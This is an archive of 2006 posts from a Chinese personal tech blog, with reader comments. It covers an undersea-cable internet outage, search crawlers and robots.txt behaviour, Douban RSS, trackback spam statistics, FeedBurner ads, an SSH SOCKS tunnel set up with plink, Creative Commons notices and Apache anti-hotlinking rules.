以上情况使中国电信到北美、台湾等方向的互联网电路大量中断，到欧洲、亚太等方向的专线、话音电路部分中断。

我用的IM中： Skype：没有受到影响； GTalk：没有受到影响；雅虎通：上不去； MSN：上不去；

DreamHost：速度较慢； Google：没有受到影响，一些页面可以通过Google翻译找到； FeedBurner做为RSS路由器的风险：得以显现；

2007-01-14更新：

💬 历史评论

以下 26 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

多么乐 · 2006-12-27 10:23

真是及时

我在家怎么也上不去 digg ，原来是这个原因。

早上起来也看新闻了，就没把这2个事情联系在一起，呵呵

riku · 2006-12-27 10:40

收到，怪不得很多国外网站都上不去。包括，feedburner,pageflakes等等以及我的blog

Src · 2006-12-27 10:51

Yahoo，Flickr等都有问题，msn也上不去了

ihao · 2006-12-27 10:58

我说怎么DH上的所有空间都无法访问了，以为被封了，看到这消息才明白过来。默哀三分钟!~~~

blogsir · 2006-12-27 11:00

郁闷，

如果全世界的网络断一天，会发生什么事情呢？？

ERIC · 2006-12-27 11:36

难怪，经常去的国外网站今天全都进不去了。/

Oasis Feng · 2006-12-27 11:43

如何解决技术资料过载？

Mon, 25 Dec 2006 22:08:34 +0800

大辉写过一篇：技术资料过载 - DBA notes，我也有同感，自己也找了一些方法解决，列举如下。

1 可搜索：尽量利用网上的资料而不是本机离线手册，在网上在线手册除了更新快外，可搜索性也是很重要的一点，在线文档通过搜索引擎查起来更方便。尤其是很大的PDF文档，尤其不便于检索，而大部分时候可能只需要找的是其中的一章或者一个函数说明； 2 抛砖引玉：尽量使用带有用户反馈的在线手册，现在很多官方的在线的文档都有评论注释机制，有些带有用户们的反馈例程，比如PHP：http://www.php.net/fwrite，而且相对错误也比较少； 3 速查卡片：将常用而又记不住的命令做成卡片和速查手册：并打印出来，之前我写的一些文档，最初就是记录在电子日记簿中的常用命令速查。我也非常喜欢搜集并打印出很多常用工具的快捷键reference card；

最关键的：弱水三千只取一瓢饮。没有必要将一本资料读到完，取你所需即可。

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

fiestay · 2006-12-25 23:45

沙发了

不错，但有时一些比较关键但不是很热门的资料还是要保存下来，否则可能会找不到了

xLight · 2006-12-26 10:20

对一些觉得对自己有价值又不打算立刻学习的东西，我会收藏他。

但一个比较遗憾的问题就是：主要的在线书签服务都没有提供非常强大的搜索功能。

我希望google能做到：搜索收藏夹内的网页，（注意：是网页搜索，不是标题/tag），并可以指定tag。

也许baidu和yahoo也可以做。

基于现有的网页搜索引擎数据，应该不会太困难

ruruba · 2006-12-26 12:33

自己收藏，然后按照自己的方式来排列！以后找以来也方便！

BunnyQ · 2006-12-27 16:31

对一些官方的在线手册还是可以搜一下的，只是许多手册被转载的乱七八糟，搜的时候难免被干扰到。

to xLight: 百度的搜藏是可以搜索自己的收藏内容的，yahoo的收藏+应该也可以吧。

括号的妙用：网页中的中英文对照翻译发现

Wed, 20 Dec 2006 20:19:42 +0800

yodao.com的海量词典很有意思的一个功能就是：中英文对照，很多文章介绍一个人或者中文翻译的时候都会用括号带上英文的原文：中文名(EnglishName)，比如：人名：娜塔莉高(Natalie Cole) 电影名：笑傲江湖(Swordsman) 《终结者》(Terminator) 《指环王》(The Lord of the Rings) 《哈利波特》(Harry Poter) 《木乃伊》(The Mummy)

估计Yodao是基于对网页中海量文章中这种模式做了统计：得到了很多中文译名与英文原文翻译对照。对于新名次和人名：这种统计发现尤其有效。

yodao的blogger统计功能也很有特色：很多blogger都ego surf了一把。我的档案链接：http://blog.yodao.com/search?q=url%3Ahttp%3A%2F%2Fwww.chedong.com%2Fblog%2F&t=b

生活的规律就是这样简单可循－他（她）只爱在白天说话。从阳光撒进窗户开始到夕阳西下，都是博主记录生活点滴、表达内心动态的时间段。要是去年，博主就是著名的网络写手了。可惜现在人人皆博，这算不得什么厉害啦。除了新闻联播的主持人和李敖，就属博主天天有话说了。

这些统计：feedsky和feedburner应该也能统计到

习惯发文时刻：习惯发文星期：发表文章长度： 10点 8点 17点周三周四周五最长4091字，最短24字，平均727字

💬 历史评论

以下 5 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

ppip · 2006-12-20 22:18

确实是很有意思的想法。

vv · 2006-12-21 00:36

还是很有创意的

mining lamp · 2006-12-22 20:56

有点意思!

xkao · 2006-12-24 18:01

不错的发现呵呵

许 · 2007-05-19 14:54

如何利用豆瓣的RSS接口

Tue, 19 Dec 2006 01:04:32 +0800

上周日晚上参加豆瓣的聚会：给豆瓣提了几个建议。

第一个是用户登录后转向首页记不住原来的地址问题，豆瓣的开发人员当时就给解决了，目前客户想豆瓣提交的有400多个改进建议：这个问题是豆瓣52号bug，距我提出已经有1年多了。大家可以试试：在遇到需要重新登录的页面时，登录成功后能够转向回刚才查看的页面。另外一个建议就是希望豆瓣更能更方便的提供RSS接口，这样方便用户嵌入到其他应用中，比如可以将我的豆瓣评论合烧在自己的FEEDSKY中。

我在豆瓣上发表的最新评论的FEED地址是http://www.douban.com/feed/review/people/chedong/，已经lilina到首页上了，以后在豆瓣的发言就可以更方便的集成到自己的网站上了，成为自己的BookLog/MovieLog。

但是发现douban提供的这个FEED有一个BUG，FEED的首页地址是： http://www.douban.com/review/latest/ 而不是你自己的个人评论首页：http://www.douban.com/people/chedong/reviews 看看什么时候能解决。

那天晚上从豆瓣的开发者身上学到很多：其中很重要的一个原则就是培养用户的主人翁意识，让用户感觉到自己是产品的主人，依靠群众的即时反馈和一些自助过滤机制，发动群众才能让spammer无处藏身。

💬 历史评论

以下 9 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

谢小漫 · 2006-12-19 08:16

我也向豆瓣提交过一个建议,两天时间就进入了todo-list。

Src · 2006-12-19 09:17

建议和bug编号，真不错，可是总感觉有时候很多人有创意，但是就是做不起来

ppip · 2006-12-19 12:26

AT · 2006-12-19 15:42

改了之后方便多了：）

漏勺 · 2006-12-21 10:13

我给豆瓣提过意见怎么没见他们采纳

mining lamp · 2006-12-23 18:55

哈哈,我的也搞定了!

iqst · 2007-01-06 09:10

还有一个不方便的地方是，如果没登录的话，他会转到注册页面，而我还要点一次“已登录”，进入登录页面，一般的做法是做个包括这两个功能的页面，无需用户自己点链接了，而且豆瓣的注册页和登录那么像，好几回我想登录却进行了注册

peter · 2007-01-12 13:27

豆瓣的首页和导航做的不够好,习惯了门户阅读的用户第一次上来可能会找不到感觉,也没有一种让人感觉火的气氛,比较安静,比较适合读书吧

ppip · 2013-04-21 22:55

豆瓣就是修改bug太慢了。

盗亦有道：OutfoxBot原来是有道蜘蛛

Sun, 17 Dec 2006 00:49:29 +0800

一个新的独立的搜索引擎：有道 yodao.com发布了，有道搜索引擎用的什么机器人呢？用crawledby方法查了一下：很眼熟的名字，原来有道蜘蛛就是以前被认为是匿名盗抓的OutfoxBot啊……

新搜索引擎发布，还是要祝贺一下。这里还给有道蜘蛛的一些建议： 1 ~~做个机器人抓取说明页吧（最好有联系方式），并加入到蜘蛛UA中~~有道蜘蛛的帮助：写的很详细了 http://www.yodao.com/help/webmaster/spider/就是还没有被其他引擎收录； 2 查查以前UA中留的gmail邮箱：给向你们提意见的用户一个回复；

在有道的搜索结果附后：

查询为： site:chedong.com crawledby

ipfw - phpMan Dong On Apache/1.3.37 (Unix) mod_perl/1.29 mod_gzip/1.3.26.1a PHP/4.4.4 Under GNU General Public License 2006-12-04 07:37 @60.191.80.35 CrawledBy OutfoxBot/0.5 (for internet experiments; http://; outfoxbot@gmail.com) www.chedong.com/phpMan.php/man/ipfw - 1006 - 2006-12-04 - 快照 java - phpMan Dong On Apache/1.3.37 (Unix) mod_perl/1.29 mod_gzip/1.3.26.1a PHP/4.4.4 Under GNU General Public License 2006-12-06 07:15 @60.191.80.46 CrawledBy OutfoxBot/0.5 (for internet experiments; http://; outfoxbot@gmail.com) www.chedong.com/phpMan.php?mode=perl ... - 1K - 2006-12-06 - 快照 stunnel4 - phpMan Dong On Apache/1.3.37 (Unix) mod_perl/1.29 mod_gzip/1.3.26.1a PHP/4.4.4 Under GNU General Public License 2006-11-17 05:42 @60.191.80.29 CrawledBy OutfoxBot/0.5 (for internet experiments; http://; outfoxbot@gmail.com) www.chedong.com/phpMan.php/man/stunnel4 - 1014 - 2006-11-17 - 快照 intro(2) - phpMan Dong On Apache/1.3.37 (Unix) mod_perl/1.29 mod_gzip/1.3.26.1a PHP/4.4.4 Under GNU General Public License 2006-12-06 23:26 @60.191.80.27 CrawledBy OutfoxBot/0.5 (for internet experiments; http://; outfoxbot@gmail.com) www.chedong.com/phpMan.php/man/intro/2 - 4K - 2006-12-06 - 快照

后记： 1 目前还不能透露太多Outfox所在公司的背景，沟通还是很积极的，感谢；也看到日志中的yodaobot的访问了： chedong_access_log.20061214:60.191.80.43 - - [14/Dec/2006:21:31:43 +0800] “GET /digest/20060825.html HTTP/1.1” 304 - “-” “YodaoBot/1.0 (http://www.yodao.com/help/webmaster/spider/; )” 60.191.80.43.319491166103103746

[MT] Trackback spambot的特征分布－ 2006年12月份

Fri, 15 Dec 2006 18:52:22 +0800

用一些简单的脚本和接口对MT spambot做了一些统计，网站上已经没有mt-tb.cgi这个文件了，来访问这个地址的都是spammer。

结论如下：spam的运行时间分布很均匀，来源IP以国外为主，一般是对MT已有文章地毯式的ping。基本上如果通过特征的方法来识别，不如全部过滤。所以动态修改trackback地址/文件名是必须的可以过滤掉95%以上的spam，动态trackback地址/参数则过滤掉将剩余的5%中的90%。

详细数据附后。

时间分布：

4049 00 4039 01 3305 02 4932 03 4269 04 4039 05 5574 06 4468 07 4249 08 4784 09 3823 10 3584 11 4522 12 3216 13 2533 14 3180 15 1826 16 2235 17 2489 18 1946 19 2613 20 2971 21 2863 22 2858 23

比较均匀，一天24小时都有，下午16点（北京时间）是个低谷：和后面的来源地址分布像对应：应该是美国的凌晨。

IP分布：

58.247.2.108#上海市网通 59.42.210.176#广东省广州市电信ADSL 61.189.240.196#贵州省毕节市电信 61.238.244.86#香港九龙半岛酒店 62.225.15.58#德国EMUCH.NET 64.124.182.119#美国加洲 66.14.200.170#美国德州GTE.net公司用户 66.132.158.88#美国EMUCH.NET 66.139.102.2#美国Global University 66.165.172.163#美国EMUCH.NET 66.192.59.18#美国Time Warner Telecom 66.204.165.81#美国阿肯色州 66.220.26.133#美国EMUCH.NET 66.228.143.9#美国EMUCH.NET 72.32.59.213#美国EMUCH.NET 80.237.140.233#英国德文郡普里茅斯 84.14.52.34#法国EMUCH.NET 85.214.67.230#欧洲及北非,西亚 129.41.250.20#美国IBM公司 140.115.117.143#台湾省中央大学 193.69.180.120#挪威 193.194.84.198#阿尔及利亚 194.64.227.16#德国EMUCH.NET 195.159.8.28#挪威 196.46.249.34#南非 200.29.137.217#巴西 200.31.42.3#巴西 200.88.223.98#巴西 200.208.102.17#巴西 201.211.46.149#美国中部/南部(IANA) 202.83.206.37#香港 202.123.234.188#印度尼西亚EMUCH.NET 203.144.144.163#泰国EMUCH.NET 203.144.144.164#泰国EMUCH.NET 203.158.221.227#泰国Rajamangala Institute of Technology 208.138.31.88#美国/加拿大 210.17.149.157#香港 212.227.80.22#德国EMUCH.NET 213.167.111.10#挪威 217.9.235.73#保加利亚

明显来自国外的比较多，集中在TOP 100个IP上（以上使用[小木虫批量IP地址查询](http://emuch.net/ip.php)）。

ID分布：很均匀，基本上是地毯式的从1－999轮循ping

豆瓣在全世界的长尾用户群

Thu, 14 Dec 2006 00:05:51 +0800

这个帖子也作为blog的声明贴： doubanclaim8ef70eff0bc852fc

59.151.41.70 - - [14/Dec/2006:16:28:29 +0800] "GET /blog/index.xml HTTP/1.0" 200 26855 "-" "Doubanbot/1.0 (bot@douban.com http://www.douban.com)" 59.151.41.70.3430116608490945

今天收到了阿北的邀请：参加本周日豆瓣的用户答谢活动，非常荣幸。我是2005年9月13日注册的豆瓣（所有来自豆瓣的系统通知邮件在我的邮箱中是一个专门的目录）第一个好友是一宁。其实豆瓣起源的胡同就在离外交部不远的一条小路上：。这里列举一下豆瓣在世界各地的长尾用户群：以示感谢。

香港 (1036) United States (357)

        [臺灣](http://www.douban.com/location/taiwan/) (329)    
        [Canada](http://www.douban.com/location/canada/) (169)    
        [Australia](http://www.douban.com/location/australia/) (145)    
        [United Kingdom](http://www.douban.com/location/uk/) (140)    

        [Singapore](http://www.douban.com/location/singapore/) (106)    
        [France](http://www.douban.com/location/france/) (91)    
        [Japan](http://www.douban.com/location/japan/) (88)    
        [Germany](http://www.douban.com/location/germany/) (76)    

        [Malaysia](http://www.douban.com/location/malaysia/) (65)    
        [澳門](http://www.douban.com/location/maocau/) (53)    
        [New Zealand](http://www.douban.com/location/new_zealand/) (42)    
        [South Korea](http://www.douban.com/location/south_korea/) (28)    

        [Netherlands](http://www.douban.com/location/netherlands/) (22)    
        [Russia](http://www.douban.com/location/russia/) (17)    
        [North Korea](http://www.douban.com/location/north_korea/) (15)    
        [Italy](http://www.douban.com/location/italy/) (15)    

        [Spain](http://www.douban.com/location/spain/) (11)    
        [Denmark](http://www.douban.com/location/denmark/) (11)    
        [Vietnam](http://www.douban.com/location/vietnam/) (5)    
        [Czech Republic](http://www.douban.com/location/czech/) (5)    

        [Sweden](http://www.douban.com/location/sweden/) (5)    
        [Cuba](http://www.douban.com/location/cuba/) (5)    
        [Mexico](http://www.douban.com/location/mexico/) (4)    
        [Colombia](http://www.douban.com/location/colombia/) (4)    

        [Switzerland](http://www.douban.com/location/switzerland/) (4)    
        [Belgium](http://www.douban.com/location/belgium/) (4)    
        [Thailand](http://www.douban.com/location/thailand/) (3)    
        [Brazil](http://www.douban.com/location/brazil/) (3)    

        [Ireland](http://www.douban.com/location/ireland/) (3)    
        [Greece](http://www.douban.com/location/greece/) (3)    
        [Finland](http://www.douban.com/location/finland/) (3)    
        [South Africa](http://www.douban.com/location/south_africa/) (3)    

        [United Arab Emirates](http://www.douban.com/location/uae/) (2)    
        [Austria](http://www.douban.com/location/austria/) (2)    
        [Congo (Democratic Republic)](http://www.douban.com/location/108128/) (2)    
        [Armenia](http://www.douban.com/location/armenia/) (2)    

        [Kazakhstan](http://www.douban.com/location/kazakhstan/) (2)    
        [Libya](http://www.douban.com/location/libya/) (2)    
        [Venezuela](http://www.douban.com/location/venezuela/) (1)    
        [Bulgaria](http://www.douban.com/location/bulgaria/) (1)    

        [Tanzania](http://www.douban.com/location/tanzania/) (1)    
        [Bolivia](http://www.douban.com/location/bolivia/) (1)    
        [Turkey](http://www.douban.com/location/turkey/) (1)    
        [Uganda](http://www.douban.com/location/uganda/) (1)    

        [Ukraine](http://www.douban.com/location/ukraine/) (1)    
        [Iraq](http://www.douban.com/location/iraq/) (1)    
        [Yemen](http://www.douban.com/location/yemen/) (1)    
        [Argentina](http://www.douban.com/location/argentina/) (1)    

        [Uruguay](http://www.douban.com/location/uruguay/) (1)    
        [Uzbekistan](http://www.douban.com/location/uzbekistan/) (1)    
        [Afghanistan](http://www.douban.com/location/afghanistan/) (1)    
        [Marshall Islands](http://www.douban.com/location/108186/) (1)    

        [Ecuador](http://www.douban.com/location/ecuador/) (1)    
        [Morocco](http://www.douban.com/location/morocco/) (1)    
        [Mozambique](http://www.douban.com/location/mozambique/) (1)    
        [Nepal](http://www.douban.com/location/nepal/) (1)    

        [Jordan](http://www.douban.com/location/jordan/) (1)    
        [Nigeria](http://www.douban.com/location/nigeria/) (1)    
        [Israel](http://www.douban.com/location/israel/) (1)    
        [Peru](http://www.douban.com/location/peru/) (1)    

        [Poland](http://www.douban.com/location/poland/) (1)    
        [Portugal](http://www.douban.com/location/portugal/) (1)    
        [Indonesia](http://www.douban.com/location/indonesia/) (1)    
        [Senegal](http://www.douban.com/location/senegal/) (1)    

        [Sierra Leone](http://www.douban.com/location/sierra_leone/) (1)    
        [Ethiopia](http://www.douban.com/location/ethiopia/) (1)    
        [Egypt](http://www.douban.com/location/egypt/) (1)    
        [Zimbabwe](http://www.douban.com/location/zimbabwe/) (1)

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

首页的字体改大了

Wed, 13 Dec 2006 00:14:50 +0800

今天收到一个朋友的来信：说我的网站的字太小了。我去Analytics上看了一下，其中的WEB设计参数中，有一个屏幕分辨率的指标。目前我的网站上使用analytics的统计来访者有95%以上的用户是使用1024分辨率以上（包括我自己看），为什么还要用那么小的字体呢？修改了一下style，把首页上所有 12px的字体都改成了14px（其实应该尽量避免使用固定象素大小字体，使用相对大小更好一些），之所以选择14px象素，因为我的网站有1/6左右是Firefox用户，单数大小字体对他们不适合。

如果你看到的首页还是小字体，请按F5强制刷新一下。

如果不满意还可以投上一票：

后记：感谢各位的留言，最后发现遵循数字变成尊重自己了，改字体要考虑的东西太多了。

1 屏幕的分辨率； 2 屏幕物理大小：14寸屏幕/15寸屏幕/17寸以上屏幕，还真的没有办法拿到用户的屏幕硬件尺寸数据，但是目前主流屏幕应该是14/15寸吧，我就是用14寸的显示屏的，字体大点我觉得还能接受； 3 IE浏览器：是否启用了自动圆润字体；

无论如何，只能说明这方面我的确不专业啊……

网站设计：需要尊重数字，更重要的是看到数字，需要做出改变。

更新 2006-12-14 1 首页内容范围的生成策略也修改了，由原来的40个小时内的内容变成了36个小时以内的。 2 字体之间的行距增加了 50%： line-hight: 150%

💬 历史评论

以下 12 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Dennis · 2006-12-13 01:55

一般來說, 文字用 pt (point) 而不用 px (pixel) 為單位的字會比較討好

农场主 · 2006-12-13 07:58

没这必要吧，12px都大了点，还改为14，明显大了点，显的不专业，网站比较粗糙，建议使用10px,无论是IE和FireFox都有改变字体大小的功能，对于个别用户可以通过这些浏览器功能来调整字体大小。

农场主 · 2006-12-13 08:00

另外，屏幕分辨率仅仅是一个参考，仅可以做为web设计的根据，不能做为查看字体大小的依据，因为还有一个硬件指标，那就是显示器大小。一般15寸以下的是800 X 600，17寸是1024 X 768，19及21寸的会更高，字体的效果看来也当然不同。建议改回来吧！！！

kankan · 2006-12-13 09:21

从来没感觉到小啊好像从来没关心过字体大小

白鸦 · 2006-12-13 09:27

FAN: FeedBurner Ads Network 先批准后发布的feed广告发布

Sat, 09 Dec 2006 07:14:32 +0800

最近使用FeedBurner地址订阅我的rss的用户可能看到内容后面广告了吧？（只在blog上的有，flickr和del.icio.us后面的没有）

FeedBurner的feed广告是需要经过先批复再显示的，给blog作者一个控制发布内容的机会。目前FAN以国外广告为主，按千次展现收费，收益 1-5$ 左右。

之前2轮广告投放我都拒绝了，英文的广告实在没有什么相关性可言。本期广告好像是关于一部电视剧/游戏？ * 50 impressions * 1 clicks for 2.000% CTR 一个是关于网络硬盘的。 * 249 impressions * 1 clicks for 0.402% CTR

目前Feed型广告的一些特点： 1 feed中的广告大部分是图片型的：可能是考虑到大部分RSS阅读器不支持JS脚本执行和iframe吧； 2 按照展现付费：当然也有点击和点击率的统计； 3 幅面固定：现在是468*60的固定图片； 4 发布轮播：目前的发布时间都是按照天来计划的；

但是从广告商的角度来看FEED广告：优点： FEEDBURNER可以提供一个相对集中的高质量阅读人群； feed的主题相对固定/同阅读人群特征明显：可以基于feed来控制投放领域目标（定向有针对性）；

缺点： 1 传统基于CPM结算的投放有容易作弊的弊端； 2 基于FEED的传播可能非常受到阅读器的影响：比如在GReader的阅读中，用户如果是在浏览标题模式下：仍然会向feedburner发出广告图片请求，但是仍然是看不到广告图片的。

而从发布者的角度：发布者未来可能更希望自己来控制feed的广告 1 RSS源端的内容发布：目前FEED上的广告发布是feedburner这样的feed转发商控制的，未来可能也允许作者在原始的FEED条目中增加。通过修改自身的RSS模板，将广告固定放置在FEED模板中； 2 轮播机制：由于不可能动态发布，所以发布的图片地址和点击的目标地址可能都会相对固定：然后通过在广告服务端管理来控制的图片内容和点击目标地址的轮播；

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

sherry · 2006-12-09 16:24

游戏的？TV平台的么……

酷软 · 2006-12-09 16:59

这个商业模式很不成熟

桑葚 · 2006-12-10 07:12

SF.net的在线调查：基于开源软件的在线咨询中介市场

Fri, 08 Dec 2006 08:29:49 +0800

上个月收到了SF.net的调查信：Sf.net请调查公司为公司下一步的市场方向搜集用户意见。

调查分2个阶段： PHASE 1: During the first phase, we will be conducting interactive online discussion groups with software developers and project administrators who currently contribute to and/or use open source applications on SourceForge.net. Please note: the spaces for Phase I have already been filled and this phase is nearing completion. We invite you to join us during the second phase, which is detailed below.*

主要是第二阶段是在线调查：我当时花了20多分钟填写了调查问卷，内容好像是sf.net正在计划做一个在线的面向开源软件解决方案的营销中介平台，然后从中收取中介费用盈利。 PHASE 2: During the second phase, we will be conducting an online survey.

利用Putty/Plink通过ssh tunnel端口转发实现FireFox和Chrome的加密代理访问

Tue, 05 Dec 2006 08:35:40 +0800

2010-01-25更新： 如果需要使用远端服务器的DNS：在Firefox中about:config设置 network.proxy.socks_remote_dns ==> true

参考原文：http://thinkhole.org/wp/2006/05/10/howto-secure-firefox-and-im-with-putty/ 加密传输的机制如下：

                                     /  foo.com
浏览器       <==secure tunnel==>ssh server -   bar.com
                                     \   example.com

浏览器先通过加密通道链接到一台服务器上，然后通过这个服务器再访问整个互联网。主要的用途就是这个绕道访问。

具体配置过程：在SSH登录工具Putty的登录设置中配置tunnel，目标设置为Dynamic，添加一个端口7070，再按Add，一个动态转发端口就实现了；然后用相应帐号ssh登录后：除了登录的终端窗口意外，本地的7070连服务器的22端口之间就有了一个SSH加密的转发通道了。在自己Windows机器上可以用命令行: netstat -n -a 看到有这样一条：

TCP [::1]:7070 [::]:0 LISTENING 0

为了方便切换，可以使用FireFox的SwitchProxy tool插件，设置socks代理通过本地的127.0.0.1:7070 进行传输。

MSN和Chrome的机制类似：就是在连接配置中设置sock5 加密代理。

感谢number5:

更简单方便的setup方式是使用 putty的后台命令行程序[plink](http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html)
plink -N username@remote.ssh.server -D 127.0.0.1:7070
其中 -N 表示不需要shell username@remote.ssh.server 换成你ssh帐户名和主机域名或者地址或者替换成 -load sessionname 也可以，用dreamhost上的帐号试了一下，真的很快

如何在Windows下使用密钥方式登录Linux服务器： 如果设置需要基于密钥的登录（如果不设置密钥密码，就可以自动登录了），我没有试成使用puttygen生成的密钥（公钥/私钥）直接部署在Linux服务器上。目前成功的方法是：先在服务器上用服务器上用./ssh-keygen生成密钥对，将公钥 id_rsa.pub » 部署到要登录到的服务器上：/home/username/.ssh/authorized_keys 中，密钥在Windows客户端下使用：将密钥 id_rsa下载到本地，然后用puttygen导入id_rsa 另存转换为putty格式的密钥id_rsa.ppk即可。然后使用 plink -i c:\path\to\id_rsa.ppk username@example.com方式登录。完整配置：

c:\Putty\plink.exe -N -i c:\Putty\foo.ppk bar@example.com -D 127.0.0.1:7070

[CC] Chedong Copyright: 便于复制/粘贴的版权声明

Sat, 02 Dec 2006 08:32:02 +0800

以前的一些技术笔记被传播比较广泛，其中的版权说明起了很大作用，例如本文的声明：

[版权声明](http://creativecommons.org/licenses/by/3.0/deed.zh)：可以任意转载，转载时请务必以**超链接形式**标明文章原始出处和作者信息及[本声明](http://www.chedong.com/blog/archives/001249.html) [http://www.chedong.com/blog/archives/001249.html](http://www.chedong.com/blog/archives/001249.html)

将版权声明植入在标题和正文之间及RSS中的好处在于： 1 转载的时候可以被可视化编辑器继续作为连接复制，即使很多用户是先复制到写字板里，然后再黏贴到后台的编辑框中，这样的链接有时候也能被还原成超链； 2 文字声明部分是为了2次转载时，仍然能延续原有版权声明； 3 以前的页面中甚至还在结尾增加了明文的HTML代码： http://www.chedong.com/blog/archives/001249.html 以方便使用纯文本编辑器的发布系统中还原原文链接；

后来发现这个声明实际上就是Creative Commons版权署名协议接口的扩展实现，用了这个声明，每天可以在blogsearch订阅link:chedong.com看文章引用，发现大部分人使用多人在转载文档的时候，根本无暇顾及网站首页右下角的版权声明并按照要求去做，那么在CMS的模板中做一个便于COPY/PASTE的版权声明还是可以方便很多全文复制者的（当然：引用者仍然主动删除你的版权声明也没有办法）。重要的： 为他人做正确的事情提供方便，原有藏在作者首页右下角的版权声明显然还是不够Copy/Paste Friendly。

在MT系统的模板中：这个声明最好部署在文章标题和内容之间（全文引用者一般都是从标题复制到内容结束）。

作者：<$MTEntryAuthorLink show_email=“0”$> 发表于 <$MTEntryDate format="%Y-%m-%d %H:%m"$> 最后更新于 <$MTEntryModifiedDate format="%Y-%m-%d %H:%m"$>
                               [版权声明](http://creativecommons.org/licenses/by/3.0/deed.zh)：可以任意转载，转载时请务必以超链接形式标明文章原始出处和作者信息及[本声明](http://www.chedong.com/blog/archives/001249.html)。
"><$MTEntryPermalink$>

感谢大辉的“Chedong Copyright”名称建议。我本来想叫：Copyer/paster friendly Copyright：让引用者方便的遵循CC版权协议，就是最好的SEO策略之一：方便的让别人引用你，而不是靠发垃圾留言。

更新：2007-05 我已经将所有协议由原先的by-sa改成了by：cc 3.0署名协议的中文版地址：http://creativecommons.org/licenses/by/3.0/deed.zh

您可自由：

* 复制、发行、展览、表演、放映、广播或通过信息网络传播本作品
* 创作演绎作品

惟须遵守下列条件：

* 署名. 您必须按照作者或者许可人指定的方式对作品进行署名。(我指定的方式就是必须以超链形式标记出处链接)
* 对任何再使用或者发行，您都必须向他人清楚地展示本作品使用的许可协议条款。
* 如果得到著作权人的许可，您可以不受任何这些条件的限制。
* Nothing in this license impairs or restricts the author's moral rights.

意思说： 1 可以任意用途（包括：商业用途）； 2 可以以非CC版权模式再次分发； 3 可以全文，片段方式使用；

Spider: 以遵守robots.txt协议为荣以匿名盗抓为耻

Fri, 24 Nov 2006 11:55:20 +0800

按照是否匿名和是否遵循robots.txt协议有4种蜘蛛： 1 真名真姓，遵循robots.txt 协议。代表：GoogleBot ~~BaiduSpider~~ MSNBot Yahoo!Slurp 等 2 真名真姓，不遵循robots.txt协议。代表：iAskSpider SohuAgent ~~wget~~ 3 匿名，不遵循robots.txt协议。代表：大量的匿名蜘蛛，例如 OutfoxBot； 4 伪装：不遵循robots.txt协议。代表：中搜，各种SpamBot，

如何识别这四类蜘蛛呢？通过HTTP协议和是否支持mod_gzip都很好的特征。做一个知荣知耻的spider很难吗？事实上：比较难。没有一定的技术积累，spider就和spambot一样。详细分析附后：

先看看第一类： GoogleBot：除了遵循robots.txt外，也支持HTTP 1.1压缩，可以非常有效的节省带宽；

66.249.72.165 - - [14/Nov/2006:00:09:35 +0800] "GET [/blog/archives/000900.html](http://www.chedong.com/blog/archives/000900.html) HTTP/1.1" 200 8437 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.72.165.321101163434175289 这个页面的原始大小是34211字节。

[BaiduSpider](http://www.baidu.com/search/spider.htm)：BaiduSpider不支持HTTP 1.1压缩，但使用大量使用了HEAD请求来校验文件更新，避免了很多网络传输；百度的蜘蛛支持Disallow命令，但是是抓了再删，而其他引擎是从请求队列中删除，根本不会抓取。

202.108.22.181 - - [14/Nov/2006:20:49:16 +0800] "GET /blog/atom.xml HTTP/1.1" 304 - "-" "Baiduspider+(+http://www.baidu.com/search/spider.htm)" 202.108.22.181 - - [14/Nov/2006:21:07:15 +0800] "GET /cgi-bin/mt/mt-comments.cgi HTTP/1.1" 200 2076 "-" "Baiduspider+(+http://www.baidu.com/search/spider.htm)" 202.108.22.181 - - [14/Nov/2006:21:07:17 +0800] "GET /blog/archives/000713.html HTTP/1.1" 200 31220 "-" "Baiduspider+(+http://www.baidu.com/search/spider.htm)" 202.108.22.144 - - [14/Nov/2006:22:54:22 +0800] "**HEAD** /blog/archives/000642.html HTTP/1.1" 200 0 "-" "Baiduspider+(+http://www.baidu.com/search/spider.htm)"

[Yahoo!Slurp](http://search.help.cn.yahoo.com/)：只支持HTTP 1.0，也没用HEAD来校验更新，有很多报道说雅虎的蜘蛛抓取强度过高，但是Yahoo!Slurp很遵守规矩的，而且现在支持[Crawl-delay](http://ysearchblog.cn/2006/07/yahoo_slurp.html)命令：可以控制抓取频度。

第二类的和第三类的还好办，至少方便通过web服务器通过agent判断进行控制。最烦的就是第四类：不但无法防止，还给日志统计分析带来了很多麻烦。

Apache上的防图片/mp3盗链配置：mod_rewrite it

Wed, 22 Nov 2006 18:15:27 +0800

Apache上的防mp3盗链的参考配置如下：

RewriteEngine on RewriteCond %{HTTP_REFERER} !^http://(www\.)?niernier\.com/.*$ [NC] RewriteRule \.(mp3|rar)$ http://www.niernier.com/archives/000445.html [R=301,L] #RewriteLog "logs/rewrite.log" #RewriteLogLevel 3

功能： 不仅屏蔽/禁止非本网站的盗链访问，还将盗链请求转给自身的网站，让读者知道谁是真正的原创作者。

说明： RewriteCond 条件：意思就是所有的mp3和rar访问如果referer不是本网站niernier.com或www.niernier.com， RewriteRule 规则：自动转向到原作宿主页： http://www.niernier.com/archives/000445.html 注释掉的部分是测试rewrite engine用的：对于调试mod_rewrite很有用。

效果：字节流量比原来下降一半，网站独立用户访问量上升了1倍 日期参观人次网页数文件数字节 2006年十一月 16 685 897 4641 865.99 M字节 2006年十一月 17 728 1173 5522 1.28 G字节 2006年十一月 18 648 934 5535 1.46 G字节 2006年十一月 19 704 1020 7120 1.40 G字节 2006年十一月 20 882 1176 5286 1.23 G字节 2006年十一月 21 2380 3526 6076 568.01 M字节 2006年十一月 22 2146 3003 5791 458.13 M字节 2006年十一月 23 2092 3177 6131 518.99 M字节

CCode and TCode: MT的防SPAM插件

Mon, 20 Nov 2006 13:52:51 +0800

老办法改脚本文件名还是要用：在mt-config.cgi中加上：

TrackbackScript tb.cgi CommentScript comments.cgi

